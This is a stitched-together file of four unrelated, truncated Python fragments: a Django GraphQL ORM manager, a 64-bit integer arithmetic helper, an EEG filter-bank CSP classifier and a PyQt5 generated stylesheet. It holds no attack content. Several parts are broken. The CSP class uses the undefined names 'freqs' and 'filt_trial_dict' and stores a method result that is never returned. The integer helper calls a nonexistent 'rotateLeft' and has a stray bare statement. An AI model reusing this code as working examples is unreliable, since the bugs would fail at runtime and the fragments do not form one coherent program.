authenticated_user = authenticated_user,
graphql_path = graphql_path + [field_name],
**child_data)
# if identifier provided, update existing instance
else:
data[field_name] = child_model_config.orm_model_manager.update_one(
authenticated_user = authenticated_user,
graphql_path = graphql_path + [field_name],
_ = child_data,
**{child_model_config.orm_model_manager.fields_info.primary:
child_identifier})
# related fields
elif field_name in self.fields_info.related:
related_data[field_name] = data.pop(field_name)
# extract data for custom fields
custom_fields_data = self._extract_custom_fields_data(
operation = Operation.CREATE,
data = data)
# direct attributes
for key, value in data.items():
setattr(instance, key, value)
# custom fields definition
self._create_or_update_custom_fields(
instance = instance,
authenticated_user = authenticated_user,
data = custom_fields_data)
# enforce permissions & save
self.model_config.enforce_permissions(
operation = Operation.UPDATE,
instance = instance,
authenticated_user = authenticated_user,
graphql_path = graphql_path,
)
instance.save()
# related data
for field_name, children_data in related_data.items():
related_field = self.fields_info.related[field_name]
child_model_config = self.model_config.schema.get_model_config(
orm_model = related_field.orm_model)
children_identifiers = []
# create & update
for child_index, child_data in enumerate(children_data):
child_identifier = child_data.pop(
child_model_config.orm_model_manager.fields_info.primary, None)
# create if no identifier provided
if child_identifier is None:
child_instance = child_model_config.orm_model_manager.create_one(
authenticated_user = authenticated_user,
graphql_path = graphql_path + [child_index, field_name],
**dict({related_field.value_field_name: instance.pk}, **child_data))
# update if identifier provided
else:
child_instance = child_model_config.orm_model_manager.update_one(
authenticated_user = authenticated_user,
graphql_path = graphql_path + [child_index, field_name],
_ = child_data,
**{child_model_config.orm_model_manager.fields_info.primary:
child_identifier})
# store identifier
children_identifiers.append(child_instance.pk)
# delete omitted children
for child_instance in getattr(instance, field_name).all():
if child_instance.pk not in children_identifiers:
child_instance.delete()
# validation (raise an easy_graphql_server exception instead of a Django one)
try:
instance.full_clean()
except django.core.exceptions.ValidationError as exception:
self._reraise_validation_error(graphql_path, exception)
# result
if graphql_selection is None:
return instance
return self._instance_to_dict(
authenticated_user = authenticated_user,
instance = instance,
graphql_selection = graphql_selection,
graphql_path = graphql_path,
enforce_permissions = True,
)
def delete_one(self, authenticated_user, graphql_path, graphql_selection, **filters):
instance = self._read_one(
graphql_selection = graphql_selection,
authenticated_user = authenticated_user,
**filters
)
self.model_config.enforce_permissions(
operation = Operation.DELETE,
instance = instance,
authenticated_user = authenticated_user,
graphql_path = graphql_path,
)
result = self._instance_to_dict(
authenticated_user = authenticated_user,
instance = instance,
graphql_selection = graphql_selection,
graphql_path = graphql_path,
enforce_permissions = True,
)
instance.delete()
return result
# methods should be executed within an atomic database transaction
@staticmethod
def decorate(method):
"""
Every exposed method will have to go through this decorator.
"""
def decorated(*args, **kwargs):
with django.db.transaction.atomic():
return method(*args, **kwargs)
return decorated
# helpers for reading
def _read(self, graphql_selection, authenticated_user, **filters):
# build queryset as intended by easy_graphql_server
queryset = self.build_queryset(
graphql_selection = graphql_selection,
authenticated_user = authenticated_user
).filter(**filters)
# filter queryset, depending on model config
queryset = self.model_config.filter(
queryset = queryset,
authenticated_user = authenticated_user)
# return resulting queryset
return queryset
def _read_one(self, graphql_selection, authenticated_user, **filters):
try:
return self._read(
graphql_selection = graphql_selection,
authenticated_user = authenticated_user,
**filters
).get()
except django.core.exceptions.ObjectDoesNotExist as error:
raise exceptions.NotFoundError(filters) from error
def _instance_to_dict(self, instance, authenticated_user, graphql_selection, graphql_path,
enforce_permissions=True):
# pylint: disable=R0913 # Too many arguments
# enforce permissions when requested
if enforce_permissions:
self.model_config.enforce_permissions(
operation = Operation.READ,
instance = instance,
authenticated_user = authenticated_user,
graphql_path = graphql_path,
)
# build result: custom fields
result = self._read_custom_fields(
instance = instance,
authenticated_user = authenticated_user,
graphql_selection = graphql_selection)
# build result: from instance attributes
for field_name, graphql_subselection in graphql_selection.items():
if field_name in result:
continue
field_value = getattr(instance, field_name)
# field_value field
if graphql_subselection is None:
result[field_name] = field_value
# related field
elif type(field_value).__name__ == 'RelatedManager':
result[field_name] = [
self._instance_to_dict(
authenticated_user = authenticated_user,
instance = child_instance,
graphql_selection = graphql_subselection,
graphql_path = graphql_path + [field_name, child_index],
enforce_permissions = False,
)
for child_index, child_instance
in enumerate(field_value.all())
]
# foreign field
elif field_value is not None:
result[field_name] = self._instance_to_dict(
authenticated_user = authenticated_user,
instance = field_value,
graphql_selection = graphql_subselection,
graphql_path = graphql_path + [field_name],
enforce_permissions = True,
)
return result
def build_queryset(self, graphql_selection, authenticated_user):
"""
Build queryset for given GraphQL selection
"""
only, prefetch_related, select_related = (
self.build_queryset_parts(
graphql_selection = graphql_selection,
authenticated_user = authenticated_user,
)
)
if hasattr(self.orm_model, 'filter_permitted'):
base_queryset = self.orm_model.filter_permitted(authenticated_user)
else:
base_queryset = self.orm_model.objects
return (base_queryset
.only(*only)
.prefetch_related(*prefetch_related)
.select_related(*select_related)
)
def build_queryset_parts(self, graphql_selection, authenticated_user,
field_prefix=''): # pylint: disable=R0914 # Too many local variables
"""
Build queryset parts for given GraphQL selection
Parts are returned as a tuple of these four values:
- the base queryset
- a list of the only fields to select
- a list of what should be passed to `QuerySet.prefetch_related()`
- a list of what should be passed to `QuerySet.select_related()`
"""
schema = self.model_config.schema
# initialize result
only = []
prefetch_related = []
select_related = []
# browse fields in GraphQL selection
for field_name, graphql_subselection in graphql_selection.items():
# no subselection, this is a direct field
if graphql_subselection is None and field_name not in | |
<gh_stars>0
# -*- coding: utf-8 -*-
from builtins import int
from struct import unpack, pack
M32 = 2**32 - 1 # Mask 32-bit
S32 = 2**31 # Sign Mask 32-bit
R32 = 2**32 # Mask for logical right shift 32-bit
M64 = 2**64 - 1 # Mask 64-bit
S64 = 2**63 # Sign Mask 64-bit
R64 = 2**64 # Mask for logical right shift 64-bit
def to32s(u): return -((~u & M32) + 1) if u & S32 else u & M32
def to32u(s): return s & M32
def to64s(u): return -((~u & M64) + 1) if u & S64 else u & M64
def to64u(s): return s & M64
def rshift32b(val, n): return (val % R32) >> n # logical right shift 32-bit
def rshift64b(val, n): return (val % R64) >> n # logical right shift 64-bit
def rotl32(x, c): return ((x << c) | rshift32b(x, 32 - c)) & M32
def buffer_insert(buf, offset, data, data_len=None, d_offset=0):
if data_len is None:
data_len = len(data)
if d_offset == 0:
for i in range(data_len):
buf[i+offset] = data[i]
else:
for i in range(data_len):
buf[i+offset] = data[i+d_offset]
def buffer_insert_2d(buf, offset, offset2, data, data_len, data_len2):
for i in range(data_len):
for j in range(data_len2):
buf[i+offset][j+offset2] = data[i][j]
def buffer_xor_insert(buf, offset, data, doffset, data_len=None):
if data_len is None:
data_len = len(data)
for i in range(data_len):
buf[i+offset] ^= data[i+doffset]
def buffer_insert_u64(buf, offset, data, data_len=None):
if data_len is None:
data_len = len(data)
for i in range(data_len):
buf[i+offset] = data[i].clone()
def u64_to_i32_list(buf):
res = []
for u64v in buf:
res.append(u64v.hi)
res.append(u64v.lo)
return res
def bytes_to_i32_list(buf):
i32l = []
buf_len = len(buf)
for i in range(buf_len//4):
i32v = unpack('>I', buf[i*4:i*4+4])[0]
i32l.append(i32v)
return i32l
def bytes_from_i32_list(l):
res = b''
for i32v in l:
res += pack('>I', i32v)
return res
def bytes_to_u64_list(buf, buf_len):
buf64 = []
for i in range(buf_len//8):
hi = unpack('>I', buf[i*8:i*8+4])[0]
lo = unpack('>I', buf[i*8+4:i*8+8])[0]
u64v = u64(hi, lo)
buf64.append(u64v)
return buf64
def bytes_from_u64_list(state):
res = b''
for u64v in state:
res += pack('>I', u64v.hi)
res += pack('>I', u64v.lo)
return res
def bytes_to_u64_list_le(buf, buf_len):
buf64 = []
for i in range(buf_len//8):
lo = unpack('<I', buf[i*8:i*8+4])[0]
hi = unpack('<I', buf[i*8+4:i*8+8])[0]
u64v = u64(hi, lo)
buf64.append(u64v)
return buf64
def swap32(val):
return (
((val & 0xFF) << 24) |
((val & 0xFF00) << 8) |
(rshift32b(val, 8) & 0xFF00) |
(rshift32b(val, 24) & 0xFF))
def swap32_list(l): return list(map(swap32, l))
def t32(x): return x & M32
def xor_table(d, s1, s2, tlen):
for i in range(tlen):
d[i] = s1[i] ^ s2[i]
class u64(object):
def __init__(self, hi, lo):
self.hi = hi & M32
self.lo = lo & M32
def __repr__(self):
#return 'u64(%d)' % self.x
return 'u64 { hi: %s, lo: %s }' % (self.hi, self.lo)
def set(self, x):
self.hi = x.hi
self.lo = x.lo
def add(self, x):
lowest = (self.lo & 0XFFFF) + (x.lo & 0XFFFF)
lowMid = rshift32b(self.lo, 16) + rshift32b(x.lo, 16) + rshift32b(lowest, 16)
highMid = (self.hi & 0XFFFF) + (x.hi & 0XFFFF) + rshift32b(lowMid, 16)
highest = rshift32b(self.hi, 16) + rshift32b(x.hi, 16) + rshift32b(highMid, 16)
self.lo = (lowMid << 16) | (lowest & 0XFFFF)
self.hi = (highest << 16) | (highMid & 0XFFFF)
self.hi &= M32
self.lo &= M32
return self
def add_one(self): # set self
if self.lo == -1 or self.lo == 0xFFFFFFFF:
self.lo = 0
self.hi += 1
else:
self.lo += 1
self.hi &= M32
self.lo &= M32
def plus(self, x):
c = u64(0, 0)
lowest = (self.lo & 0XFFFF) + (x.lo & 0XFFFF)
lowMid = rshift32b(self.lo, 16) + rshift32b(x.lo, 16) + rshift32b(lowest, 16)
highMid = (self.hi & 0XFFFF) + (x.hi & 0XFFFF) + rshift32b(lowMid, 16)
highest = rshift32b(self.hi, 16) + rshift32b(x.hi, 16) + rshift32b(highMid, 16)
c.lo = (lowMid << 16) | (lowest & 0XFFFF)
c.hi = (highest << 16) | (highMid & 0XFFFF)
c.hi &= M32
c.lo &= M32
return c
def bit_not(self):
return u64(~self.hi, ~self.lo)
def one(self):
return u64(0x0, 0x1)
def zero(self):
return u64(0x0, 0x0)
def neg(self):
return self.bit_not().plus(self.one())
def minus(self, x):
return self.plus(x.neg())
def is_zero(self):
return self.lo == 0 and self.hi == 0
def multiply(self, x):
if self.is_zero():
return self
a48 = rshift32b(self.hi, 16)
a32 = self.hi & 0xFFFF
a16 = rshift32b(self.lo, 16)
a00 = self.lo & 0xFFFF
b48 = rshift32b(x.hi, 16)
b32 = x.hi & 0xFFFF
b16 = rshift32b(x.lo, 16)
b00 = x.lo & 0xFFFF
c48 = 0
c32 = 0
c16 = 0
c00 = 0
c00 += a00 * b00
c16 += rshift32b(c00, 16)
c00 &= 0xFFFF
c16 += a16 * b00
c32 += rshift32b(c16, 16)
c16 &= 0xFFFF
c16 += a00 * b16
c32 += rshift32b(c16, 16)
c16 &= 0xFFFF
c32 += a32 * b00
c48 += rshift32b(c32, 16)
c32 &= 0xFFFF
c32 += a16 * b16
c48 += rshift32b(c32, 16)
c32 &= 0xFFFF
c32 += a00 * b32
c48 += rshift32b(c32, 16)
c32 &= 0xFFFF
c48 += a48 * b00 + a32 * b16 + a16 * b32 + a00 * b48
c48 &= 0xFFFF
return u64((c48 << 16) | c32, (c16 << 16) | c00)
def shift_left(self, bits):
bits = bits % 64
c = u64(0, 0)
if bits == 0:
return self.clone()
elif bits > 31:
c.lo = 0
c.hi = self.lo << (bits - 32)
else:
toMoveUp = rshift32b(self.lo, 32 - bits)
c.lo = self.lo << bits
c.hi = (self.hi << bits) | toMoveUp
c.hi &= M32
c.lo &= M32
return c
def set_shift_left(self, bits):
if bits == 0:
return self
if bits > 63:
bits = bits % 64
if bits > 31:
self.hi = self.lo << (bits - 32)
self.lo = 0
else:
toMoveUp = rshift32b(self.lo, 32 - bits)
self.lo = self.lo << bits
self.hi = (self.hi << bits) | toMoveUp
self.hi &= M32
self.lo &= M32
return self
def shift_right(self, bits):
bits = bits % 64
c = u64(0, 0)
if bits == 0:
return self.clone()
elif bits >= 32:
c.hi = 0
c.lo = rshift32b(self.hi, bits - 32)
else:
bitsOff32 = 32 - bits
toMoveDown = rshift32b(self.hi << bitsOff32, bitsOff32)
c.hi = rshift32b(self.hi, bits)
c.lo = rshift32b(self.lo, bits) | (toMoveDown << bitsOff32)
c.hi &= M32
c.lo &= M32
return c
def rotate_left(self, bits):
if bits > 32:
return self.rotate_right(64 - bits)
c = u64(0, 0)
if bits == 0:
c.lo = rshift32b(self.lo, 0)
c.hi = rshift32b(self.hi, 0)
elif bits == 32:
c.lo = self.hi
c.hi = self.lo
else:
c.lo = (self.lo << bits) | rshift32b(self.hi, 32 - bits)
c.hi = (self.hi << bits) | rshift32b(self.lo, 32 - bits)
c.hi &= M32
c.lo &= M32
return c
def set_rotate_left(self, bits):
if bits > 32:
return self.set_rotate_right(64 - bits)
if bits == 0:
return self
elif bits == 32:
newHigh = self.lo
self.lo = self.hi
self.hi = newHigh
else:
newHigh = (self.hi << bits) | rshift32b(self.lo, 32 - bits)
self.lo = (self.lo << bits) | rshift32b(self.hi, 32 - bits)
self.hi = newHigh
self.hi &= M32
self.lo &= M32
return self
def rotate_right(self, bits):
if bits > 32:
return self.rotateLeft(64 - bits)
c = u64(0, 0)
if bits == 0:
c.lo = rshift32b(self.lo, 0)
c.hi = rshift32b(self.hi, 0)
elif bits == 32:
c.lo = self.hi
c.hi = self.lo
else:
c.lo = (self.hi << (32 - bits)) | rshift32b(self.lo, bits)
c.hi = (self.lo << (32 - bits)) | rshift32b(self.hi, bits)
c.hi &= M32
c.lo &= M32
return c
def set_flip(self):
newHigh = self.lo
self.lo = self.hi
self.hi = newHigh
return self
def set_rotate_right(self, bits):
if bits > 32:
return self.setRotateLeft(64 - bits)
if bits == 0:
return self
elif bits == 32:
newHigh
newHigh = self.lo
self.lo = self.hi
self.hi = newHigh
else:
newHigh = (self.lo << (32 - bits)) | rshift32b(self.hi, bits)
self.lo = (self.hi << (32 - bits)) | rshift32b(self.lo, bits)
self.hi = newHigh
self.hi &= M32
self.lo &= M32
return self
def xor(self, x):
c = u64(0, 0)
c.hi = self.hi ^ x.hi
c.lo = self.lo ^ x.lo
return c
def set_xor_one(self, x):
self.hi ^= x.hi
self.lo ^= x.lo
return self
def bit_and(self, x):
c = u64(0, 0)
c.hi = self.hi & x.hi
c.lo = self.lo & x.lo
| |
# -*- coding: utf-8 -*-
"""
Contain the implementation of the CSP algorithm. Developed for the train part of dataset IV-1-a of BCI competition.
This version (V2) implement the algorithm for data with two classes.
@author: <NAME> (Jesus)
@organization: University of Padua (Italy)
"""
#%%
import numpy as np
import matplotlib.pyplot as plt
import scipy.signal
import scipy.linalg as la
from sklearn.discriminant_analysis import LinearDiscriminantAnalysis as LDA
#%%
class FBCSP():
def __init__(self, data_dict, fs, freqs_band = None, filter_order = 3):
self.fs = fs
self.train_sklearn = False
self.train_LDA = False
self.trials_dict = data_dict
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#Filter data section
# Filtered signal list
self.filtered_band_signal_list = []
# Frequencies band
if(freqs_band == None): self.freqs = np.linspace(4, 40, 10)
else: self.freqs = freqs_band
self.filterBankFunction(filter_order)
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# CSP filter evaluation
self.W_list = self.evaluateW()
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Spatial filtering and features evaluation section
# List for the features for each band
self.features_band_list = []
# Cycle for the frequency bands
for i in range(len(freqs) - 1):
# Features dictionary for the selected frequency band
features_dict = {}
# Retrieve CSP
# Cycle for the classes
for key in self.trials_dict.keys():
# Applying CSP filter
tmp_trial = self.spatialFilteringW(self.filt_trial_dict[key])
features_dict[key] = self.logVarEvaluation(tmp_trial)
self.features_band_list.append(features_dict)
def filterBankFunction(self, filter_order = 3):
"""
Function that apply fhe fitlering for each pair of frequencies in the list self.freqs.
The results are saved in a list called self.filtered_band_signal_list. Each element of the list is a diciotinary with key the label of the various class.
Parameters
----------
filter_order : int, optional
The order of the filter. The default is 3.
"""
# Cycle for the frequency bands
for i in range(len(self.freqs) - 1):
# Dict for selected band that will contain the various filtered signals
filt_trial_dict = {}
# "Create" the band
band = [self.freqs[i], self.freqs[i+1]]
# Cycle for the classes
for key in self.trials_dict.keys():
# Filter the signal in each class for the selected frequency band
filt_trial_dict[key] = self.bandFilterTrials(self.trials_dict[key], band[0], band[1], filter_order = filter_order)
# Save the filtered signal in the list
self.filtered_band_signal_list.append(filt_trial_dict)
def bandFilterTrials(self, trials_matrix, low_f, high_f, filter_order = 3):
"""
Applying a pass-band fitlering to the data. The filter implementation was done with scipy.signal
Parameters
----------
trials_matrix : numpy matrix
Numpy matrix with the various EEG trials. The dimensions of the matrix must be n_trial x n_channel x n_samples
fs : int/double
Frequency sampling.
low_f : int/double
Low band of the pass band filter.
high_f : int/double
High band of the pass band filter..
filter_order : int, optional
Order of the filter. The default is 3.
Returns
-------
filter_trails_matrix : numpy matrix
Numpy matrix with the various filtered EEG trials. The dimensions of the matrix must be n_trial x n_channel x n_samples.
"""
# Evaluate low buond and high bound in the [0, 1] range
low_bound = low_f / (self.fs/2)
high_bound = high_f / (self.fs/2)
# Check input data
if(low_bound < 0): low_bound = 0
if(high_bound > 1): high_bound = 1
if(low_bound > high_bound): low_bound, high_bound = high_bound, low_bound
if(low_bound == high_bound): low_bound, high_bound = 0, 1
b, a = scipy.signal.butter(filter_order, [low_bound, high_bound], 'bandpass')
return scipy.signal.filtfilt(b, a, trials_matrix)
def logVarEvaluation(self, trials):
"""
Evaluate the log (logarithm) var (variance) of the trial matrix along the samples axis.
The sample axis is the axis number 2, counting axis as 0,1,2.
Parameters
----------
trials : numpy 3D-matrix
Trial matrix. The dimensions must be trials x channel x samples
Returns
-------
features : Numpy 2D-matrix
Return the features matrix. DImension will be trials x channel
"""
features = np.var(trials, 2)
features = np.log(features)
return features
def trialCovariance(self, trials):
"""
Calculate the covariance for each trial and return their average
Parameters
----------
trials : numpy 3D-matrix
Trial matrix. The dimensions must be trials x channel x samples
Returns
-------
mean_cov : Numpy matrix
Mean of the covariance alongside channels.
"""
n_trials, n_channels, n_samples = trials.shape
covariance_matrix = np.zeros((n_trials, n_channels, n_channels))
for i in range(trials.shape[0]):
trial = trials[i, :, :]
covariance_matrix[i, :, :] = np.cov(trial)
mean_cov = np.mean(covariance_matrix, 0)
return mean_cov
def whitening(self, sigma, mode = 2):
"""
Calculate the whitening matrix for the input matrix sigma
Parameters
----------
sigma : Numpy square matrix
Input matrix.
mode : int, optional
Select how to evaluate the whitening matrix. The default is 1.
Returns
-------
x : Numpy square matrix
Whitening matrix.
"""
[u, s, vh] = np.linalg.svd(sigma)
if(mode != 1 and mode != 2): mode == 1
if(mode == 1):
# Whitening constant: prevents division by zero
epsilon = 1e-5
# ZCA Whitening matrix: U * Lambda * U'
x = np.dot(u, np.dot(np.diag(1.0/np.sqrt(s + epsilon)), u.T))
else:
# eigenvalue decomposition of the covariance matrix
d, V = np.linalg.eigh(sigma)
fudge = 10E-18
# A fudge factor can be used so that eigenvectors associated with small eigenvalues do not get overamplified.
D = np.diag(1. / np.sqrt(d+fudge))
# whitening matrix
x = np.dot(np.dot(V, D), V.T)
return x
def evaluateW(self):
"""
Evaluate the spatial filter of the CSP algorithm for each filtered signal inside self.filtered_band_signal_list
Results are saved inside self.W_list_band.
"""
self.W_list_band = []
for filt_trial_dict in self.filtered_band_signal_list:
# Retrieve the key (class)
keys = list(filt_trial_dict.keys())
# List for the filter for each class
W_list_class = []
for key in keys:
trials_1, trials_2 = self.retrieveBinaryTrials(filt_trial_dict, key)
# Evaluate covariance matrix for the two classes
cov_1 = self.trialCovariance(trials_1)
cov_2 = self.trialCovariance(trials_2)
R = cov_1 + cov_2
# Evaluate whitening matrix
P = self.whitening(R)
# The mean covariance matrices may now be transformed
cov_1_white = np.dot(P, np.dot(cov_1, np.transpose(P)))
cov_2_white = np.dot(P, np.dot(cov_2, np.transpose(P)))
# Since CSP requires the eigenvalues and eigenvector be sorted in descending order we find and sort the generalized eigenvalues and eigenvector
E, U = la.eig(cov_1_white, cov_2_white)
order = np.argsort(E)
order = order[::-1]
E = E[order]
U = U[:, order]
# The projection matrix (the spatial filter) may now be obtained
W = np.dot(np.transpose(U), P)
# Save the filter for each class
W_list_class.append(W)
self.W_list_band.append(W_list_class)
def retrieveBinaryTrials(self, filt_trial_dict, key):
"""
Function that return all the trials of a class on trials 1 and all the trials of all other classes in trials 2
Parameters
----------
filt_trial_dict : dict
Input dicionary. The key must be the label of the classes. Each item is all the trials of the corresponding class
key : dictionary key
Key for trials_1.
Returns
-------
trials_1 : Numpy 3D matrix
All the trials corresponding to the key passes.
trials_2 : Numpy 3D matrix
All other trials.
"""
# Retrieve trial associated with key
trials_1 = filt_trial_dict[key]
# Retrieve all other trials
dict_with_other_trials = {k:v for k,v in filt_trial_dict.items() if k not in [key]}
# Convert them in a numpy array
tmp_list = []
for key in dict_with_other_trials: tmp_list.append(dict_with_other_trials[key])
for i in range(len(tmp_list) - 1):
if(i == 0):
trials_2 = np.stack([tmp_list[0], tmp_list[1]], axis = 0)
else:
trials_2 = np.stack([trials_2, tmp_list[i + 1]], axis = 0)
return | |
<gh_stars>0
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'UI\Interface_MLP.ui'
#
# Created by: PyQt5 UI code generator 5.9.2
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName("MainWindow")
MainWindow.setEnabled(True)
MainWindow.resize(1271, 657)
MainWindow.setMinimumSize(QtCore.QSize(1271, 657))
MainWindow.setMaximumSize(QtCore.QSize(1271, 657))
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(":/icons/icons/inteligencia-artificial.svg"), QtGui.QIcon.Normal, QtGui.QIcon.Off)
MainWindow.setWindowIcon(icon)
MainWindow.setStyleSheet("QToolTip\n"
"{\n"
" border: 1px solid black;\n"
" background-color: #ffa02f;\n"
" padding: 1px;\n"
" border-radius: 3px;\n"
" opacity: 100;\n"
"}\n"
"\n"
"QWidget\n"
"{\n"
" color: #b1b1b1;\n"
" background-color: #323232;\n"
"}\n"
"\n"
"QWidget:item:hover\n"
"{\n"
" background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #ca0619);\n"
" color: #000000;\n"
"}\n"
"\n"
"QWidget:item:selected\n"
"{\n"
" background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a);\n"
"}\n"
"\n"
"QMenuBar::item\n"
"{\n"
" background: transparent;\n"
"}\n"
"\n"
"QMenuBar::item:selected\n"
"{\n"
" background: transparent;\n"
" border: 1px solid #ffaa00;\n"
"}\n"
"\n"
"QMenuBar::item:pressed\n"
"{\n"
" background: #444;\n"
" border: 1px solid #000;\n"
" background-color: QLinearGradient(\n"
" x1:0, y1:0,\n"
" x2:0, y2:1,\n"
" stop:1 #212121,\n"
" stop:0.4 #343434/*,\n"
" stop:0.2 #343434,\n"
" stop:0.1 #ffaa00*/\n"
" );\n"
" margin-bottom:-1px;\n"
" padding-bottom:1px;\n"
"}\n"
"\n"
"QMenu\n"
"{\n"
" border: 1px solid #000;\n"
"}\n"
"\n"
"QMenu::item\n"
"{\n"
" padding: 2px 20px 2px 20px;\n"
"}\n"
"\n"
"QMenu::item:selected\n"
"{\n"
" color: #000000;\n"
"}\n"
"\n"
"QWidget:disabled\n"
"{\n"
" color: #404040;\n"
" background-color: #323232;\n"
"}\n"
"\n"
"QAbstractItemView\n"
"{\n"
" background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #4d4d4d, stop: 0.1 #646464, stop: 1 #5d5d5d);\n"
"}\n"
"\n"
"QWidget:focus\n"
"{\n"
" /*border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a);*/\n"
"}\n"
"\n"
"QLineEdit\n"
"{\n"
" background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #4d4d4d, stop: 0 #646464, stop: 1 #5d5d5d);\n"
" padding: 1px;\n"
" border-style: solid;\n"
" border: 1px solid #1e1e1e;\n"
" border-radius: 5;\n"
"}\n"
"\n"
"QPushButton\n"
"{\n"
" color: #b1b1b1;\n"
" background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #565656, stop: 0.1 #525252, stop: 0.5 #4e4e4e, stop: 0.9 #4a4a4a, stop: 1 #464646);\n"
" border-width: 1px;\n"
" border-color: #1e1e1e;\n"
" border-style: solid;\n"
" border-radius: 6;\n"
" padding: 3px;\n"
" font: 10pt \"MS Shell Dlg 2\";\n"
" padding-left: 5px;\n"
" padding-right: 5px;\n"
"}\n"
"\n"
"QPushButton:pressed\n"
"{\n"
" background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #2d2d2d, stop: 0.1 #2b2b2b, stop: 0.5 #292929, stop: 0.9 #282828, stop: 1 #252525);\n"
"}\n"
"\n"
"QComboBox\n"
"{\n"
" selection-background-color: #ffaa00;\n"
" background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #565656, stop: 0.1 #525252, stop: 0.5 #4e4e4e, stop: 0.9 #4a4a4a, stop: 1 #464646);\n"
" border-style: solid;\n"
" border: 1px solid #1e1e1e;\n"
" border-radius: 5;\n"
"}\n"
"\n"
"QComboBox:hover,QPushButton:hover\n"
"{\n"
" border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a);\n"
"}\n"
"\n"
"\n"
"QComboBox:on\n"
"{\n"
" padding-top: 3px;\n"
" padding-left: 4px;\n"
" background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #2d2d2d, stop: 0.1 #2b2b2b, stop: 0.5 #292929, stop: 0.9 #282828, stop: 1 #252525);\n"
" selection-background-color: #ffaa00;\n"
"}\n"
"\n"
"QComboBox QAbstractItemView\n"
"{\n"
" border: 2px solid darkgray;\n"
" selection-background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a);\n"
"}\n"
"\n"
"QComboBox::drop-down\n"
"{\n"
" subcontrol-origin: padding;\n"
" subcontrol-position: top right;\n"
" width: 15px;\n"
"\n"
" border-left-width: 0px;\n"
" border-left-color: darkgray;\n"
" border-left-style: solid; /* just a single line */\n"
" border-top-right-radius: 3px; /* same radius as the QComboBox */\n"
" border-bottom-right-radius: 3px;\n"
" }\n"
"\n"
"QComboBox::down-arrow\n"
"{\n"
" image: url(:images/down_arrow.png);\n"
"}\n"
"\n"
"QGroupBox:focus\n"
"{\n"
"border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a);\n"
"}\n"
"\n"
"QTextEdit:focus\n"
"{\n"
" border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a);\n"
"}\n"
"\n"
"QScrollBar:horizontal {\n"
" border: 1px solid #222222;\n"
" background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0.0 #121212, stop: 0.2 #282828, stop: 1 #484848);\n"
" height: 7px;\n"
" margin: 0px 16px 0 16px;\n"
"}\n"
"\n"
"QScrollBar::handle:horizontal\n"
"{\n"
" background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 0.5 #d7801a, stop: 1 #ffa02f);\n"
" min-height: 20px;\n"
" border-radius: 2px;\n"
"}\n"
"\n"
"QScrollBar::add-line:horizontal {\n"
" border: 1px solid #1b1b19;\n"
" border-radius: 2px;\n"
" background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 1 #d7801a);\n"
" width: 14px;\n"
" subcontrol-position: right;\n"
" subcontrol-origin: margin;\n"
"}\n"
"\n"
"QScrollBar::sub-line:horizontal {\n"
" border: 1px solid #1b1b19;\n"
" border-radius: 2px;\n"
" background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 1 #d7801a);\n"
" width: 14px;\n"
" subcontrol-position: left;\n"
" subcontrol-origin: margin;\n"
"}\n"
"\n"
"QScrollBar::right-arrow:horizontal, QScrollBar::left-arrow:horizontal\n"
"{\n"
" border: 1px solid black;\n"
" width: 1px;\n"
" height: 1px;\n"
" background: white;\n"
"}\n"
"\n"
"QScrollBar::add-page:horizontal, QScrollBar::sub-page:horizontal\n"
"{\n"
" background: none;\n"
"}\n"
"\n"
"QScrollBar:vertical\n"
"{\n"
" background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0.0 #121212, stop: 0.2 #282828, stop: 1 #484848);\n"
" width: 7px;\n"
" margin: 16px 0 16px 0;\n"
" border: 1px solid #222222;\n"
"}\n"
"\n"
"QScrollBar::handle:vertical\n"
"{\n"
" background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 0.5 #d7801a, stop: 1 #ffa02f);\n"
" min-height: 20px;\n"
" border-radius: 2px;\n"
"}\n"
"\n"
"QScrollBar::add-line:vertical\n"
"{\n"
" border: 1px solid #1b1b19;\n"
" border-radius: 2px;\n"
" background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a);\n"
" height: 14px;\n"
" subcontrol-position: bottom;\n"
" subcontrol-origin: margin;\n"
"}\n"
"\n"
"QScrollBar::sub-line:vertical\n"
"{\n"
" border: 1px solid #1b1b19;\n"
" border-radius: 2px;\n"
" background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #d7801a, stop: 1 #ffa02f);\n"
" height: 14px;\n"
